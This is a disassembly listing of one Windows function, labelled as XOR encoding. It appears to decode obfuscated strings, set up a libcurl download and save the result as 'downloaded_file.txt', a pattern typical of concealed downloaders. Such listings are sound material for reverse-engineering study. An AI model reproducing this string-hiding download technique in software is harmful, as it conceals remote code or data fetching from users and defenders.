Function at 0x140062f10
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
push rdi
push r13
push r14
push r15
sub rsp, 0x2a0
movaps xmmword [rsp + 0x290], xmm6
mov rax, qword [0x1402ea440]
xor rax, rsp
mov qword [rsp + 0x288], rax
mov r14, r8
mov r15, rdx
mov rdi, rcx
xor ebx, ebx
mov dword [rsp + 0x40], ebx
lea ecx, [rbx + 3]
call fcn.140074880
test eax, eax
je 0x140063126
lea rcx, [0x1402c691c]
call fcn.1401fc210
call fcn.140062ba0
lea rdx, [rsp + 0xb0]
call fcn.140063dd0
mov r9, rax
cmp byte [rax + 0x6b], bl
je 0x140063d3a
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400630de
movdqa xmm5, xmmword [0x1402c8de0]
movdqa xmm4, xmmword [0x1402c8e30]
movdqa xmm6, xmmword [str.3333]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x120], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x120]
nop word [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1402c8e00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1402c8e00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x68
jl 0x140062fd0
cmp eax, 0x6c
jge 0x140063d3a
movsxd r8, ebx
add r8, r9
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, bl
xor byte [r8], cl
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x6c
jge 0x140063d3a
jmp 0x1400630f0
call fcn.140074760
mov rsi, rax
test rax, rax
jne 0x140063306
call fcn.140074840
lea rcx, [0x1402c691c]
call fcn.1401fc210
call fcn.140062ba0
lea rdx, [rsp + 0xb0]
call fcn.140063e30
mov r9, rax
cmp byte [rax + 0x6c], sil
je 0x140063d58
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400632be
movdqa xmm5, xmmword [0x1402c8de0]
movdqa xmm4, xmmword [0x1402c8e30]
movdqa xmm6, xmmword [str.3333]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x120], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x120]
nop word [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1402c8e00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1402c8e00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x68
jl 0x1400631b0
cmp eax, 0x6d
jge 0x140063d58
movsxd r8, ebx
add r8, r9
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, bl
xor byte [r8], cl
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x6d
jge 0x140063d58
jmp 0x1400632d0
xor r8d, r8d
lea edx, [r8 + 0x40]
mov rcx, rsi
call fcn.140077620
mov r8, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x140063322
mov r8, qword [rdi]
mov edx, 0x2712
mov rcx, rsi
call fcn.140077620
cmp qword [r14 + 0x18], 0xf
jbe 0x140063339
mov r14, qword [r14]
mov r8, r14
mov edx, 0x2722
mov rcx, rsi
call fcn.140077620
xorps xmm0, xmm0
movups xmmword [rsp + 0x140], xmm0
mov qword [rsp + 0x150], rbx
mov qword [rsp + 0x158], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x140], 0
lea r8, [0x140062ee0]
mov edx, 0x4e2b
mov rcx, rsi
call fcn.140077620
lea r8, [rsp + 0x140]
mov edx, 0x2711
mov rcx, rsi
call fcn.140077620
mov rcx, rsi
call fcn.140074830
test eax, eax
je 0x140063806
lea rdx, [rsp + 0x40]
call fcn.1400625c0
mov r10, rax
mov edi, dword [reloc.WS2_32.dll_accept]
cmp byte [rax + 3], 0
je 0x140063495
cmp edi, 2
jl 0x14006344f
movdqa xmm3, xmmword [0x1402c8de0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1402c8e30]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1402c8e30]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [str.3333]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1402c8e00]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.3333333333333333]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x140063495
mov r9, r10
mov r8d, ebx
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140063460
mov rcx, r10
call fcn.1401fc210
lea rdx, [rsp + 0x88]
call fcn.140063ea0
mov rcx, rax
cmp byte [rax + 0x1f], 0
je 0x140063645
mov r8d, ebx
cmp edi, 2
jl 0x14006360b
movdqa xmm5, xmmword [0x1402c8de0]
movdqa xmm4, xmmword [0x1402c8e30]
movdqa xmm6, xmmword [str.3333]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x120], xmm0
mov rdx, rax
mov r9d, dword [rsp + 0x120]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1402c8e00]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1402c8e00]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add r8d, 8
lea rdx, [rdx + 8]
cmp r8d, 0x20
jl 0x140063500
jmp 0x140063645
mov r9, rcx
nop
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x33
add dl, r8b
xor byte [r9], dl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x140063610
call fcn.14005ff40
lea rcx, [0x1402c691c]
call fcn.1401fc210
call fcn.140062ba0
lea rdx, [rsp + 0xb0]
call fcn.140063ec0
mov r9, rax
cmp byte [rax + 0x6b], 0
je 0x140063d76
cmp edi, 2
jl 0x1400637bf
movdqa xmm5, xmmword [0x1402c8de0]
movdqa xmm4, xmmword [0x1402c8e30]
movdqa xmm6, xmmword [str.3333]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x120], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x120]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1402c8e00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1402c8e00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x68
jl 0x1400636b1
cmp eax, 0x6c
jge 0x140063d76
movsxd r8, ebx
add r8, r9
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, bl
xor byte [r8], cl
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x6c
jge 0x140063d76
jmp 0x1400637d0
mov r13, qword [rdi + 0x10]
mov r14, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x140063817
mov r14, qword [rdi]
test r13, r13
je 0x14006387a
xor edx, edx
mov r8d, 0x100
lea rcx, [rsp + 0x180]
call fcn.14022b820
mov byte [rsp + 0x1af], 1
lea rax, [r13 - 1]
mov r8, 0xffffffffffffffff
mov rcx, r8
cmp rax, rcx
cmovb rcx, rax
add rcx, r14
movzx eax, byte [rcx]
cmp byte [rsp + rax + 0x180], 0
jne 0x140063875
nop
cmp rcx, r14
je 0x140063881
dec rcx
movzx eax, byte [rcx]
cmp byte [rsp + rax + 0x180], 0
je 0x140063860
sub rcx, r14
jmp 0x140063884
mov r8, 0xffffffffffffffff
mov rcx, r8
xorps xmm0, xmm0
xorps xmm1, xmm1
cmp rcx, 0xffffffffffffffff
je 0x1400638d9
inc rcx
movups xmmword [rsp + 0x68], xmm0
movdqu xmmword [rsp + 0x78], xmm1
mov rax, r13
cmp r13, rcx
jb 0x140063d94
sub rax, rcx
cmp rax, 0xffffffffffffffff
cmovb r8, rax
cmp qword [rdi + 0x18], 0xf
jbe 0x1400638bf
mov rdi, qword [rdi]
lea rdx, [rdi + rcx]
lea rcx, [rsp + 0x68]
call fcn.14005ee30
lea rax, [rsp + 0x68]
mov edi, reloc.WS2_32.dll_recvfrom
jmp 0x140063905
movups xmmword [rsp + 0x48], xmm0
movdqu xmmword [rsp + 0x58], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.downloaded_file.txt
lea rcx, [rsp + 0x48]
call fcn.14005ee30
lea rax, [rsp + 0x48]
mov edi, 2
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x160], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x170], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
test dil, 2
je 0x140063972
and edi, 0xfffffffd
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140063972
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006396c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140063d9a
call fcn.1401f52b0
nop
test dil, 1
je 0x1400639b8
mov rdx, qword [rsp + 0x80]
cmp rdx, 0xf
jbe 0x1400639b8
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400639b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140063db1
call fcn.1401f52b0
mov rcx, qword [r15 + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 1
jb 0x140063da0
cmp qword [r15 + 0x18], 0xf
jbe 0x1400639dd
mov r15, qword [r15]
mov qword [rsp + 0x30], 1
lea rax, [0x1402c70f4]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r9, r15
lea rcx, [rsp + 0x88]
call fcn.14006a1e0
nop
lea rdx, [rsp + 0x160]
cmp qword [rsp + 0x178], 0xf
cmova rdx, qword [rsp + 0x160]
mov r8, qword [rsp + 0x170]
lea rcx, [rsp + 0x88]
call fcn.14005e7f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x120], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x130], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x120], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x130], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0xa0]
cmp rdx, 0xf
jbe 0x140063ab7
inc rdx
mov rcx, qword [rsp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063ab2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140063da5
call fcn.1401f52b0
lea rcx, [rsp + 0x120]
cmp qword [rsp + 0x138], 0xf
cmova rcx, qword [rsp + 0x120]
lea rdx, [0x1402c710c]
call fcn.1402006a0
mov rbx, rax
test rax, rax
je 0x140063c17
lea rcx, [rsp + 0x140]
cmp qword [rsp + 0x158], 0xf
cmova rcx, qword [rsp + 0x140]
mov r9, rax
mov r8, qword [rsp + 0x150]
mov edx, 1
call fcn.140206818
mov rcx, rbx
call fcn.1402009c0
mov rcx, rsi
call fcn.140074740
call fcn.140074840
mov rdx, qword [rsp + 0x138]
cmp rdx, 0xf
jbe 0x140063b70
inc rdx
mov rcx, qword [rsp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063b6b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140063db1
call fcn.1401f52b0
movdqa xmm0, xmmword [0x1402c8dd0]
movdqu xmmword [rsp + 0x130], xmm0
mov byte [rsp + 0x120], 0
mov rdx, qword [rsp + 0x178]
cmp rdx, 0xf
jbe 0x140063bcd
inc rdx
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063bc7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140063db7
call fcn.1401f52b0
nop
mov rdx, qword [rsp + 0x158]
cmp rdx, 0xf
jbe 0x140063c10
inc rdx
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063c0b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140063dab
call fcn.1401f52b0
mov al, 1
jmp 0x140063d0a
mov rdx, qword [rsp + 0x138]
cmp rdx, 0xf
jbe 0x140063c5a
inc rdx
mov rcx, qword [rsp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063c55
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140063db1
call fcn.1401f52b0
movdqa xmm0, xmmword [0x1402c8dd0]
movdqu xmmword [rsp + 0x130], xmm0
mov byte [rsp + 0x120], 0
mov rdx, qword [rsp + 0x178]
cmp rdx, 0xf
jbe 0x140063cb6
inc rdx
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063cb1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140063db7
call fcn.1401f52b0
mov rcx, rsi
call fcn.140074740
call fcn.140074840
nop
mov rdx, qword [rsp + 0x158]
cmp rdx, 0xf
jbe 0x140063d08
inc rdx
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063d02
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140063dbd
call fcn.1401f52b0
nop
xor al, al
mov rcx, qword [rsp + 0x288]
xor rcx, rsp
call fcn.1401f5290
mov rbx, qword [rsp + 0x2e8]
movaps xmm6, xmmword [rsp + 0x290]
add rsp, 0x2a0
pop r15
pop r14
pop r13
pop rdi
pop rsi
ret
mov rcx, r9
call fcn.14005ff40
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call fcn.1401fcbb0
int3
mov rcx, r9
call fcn.14005ff40
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call fcn.1401fcbb0
nop
mov rcx, r9
call fcn.14005ff40
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call fcn.1401fcbb0
int3
call fcn.140068600
nop
call fcn.1401fc778
nop
call fcn.14005b340
call fcn.1401fc778
nop
call fcn.1401fc778
nop
call fcn.1401fc778
nop
call fcn.1401fc778
nop
call fcn.1401fc778
int3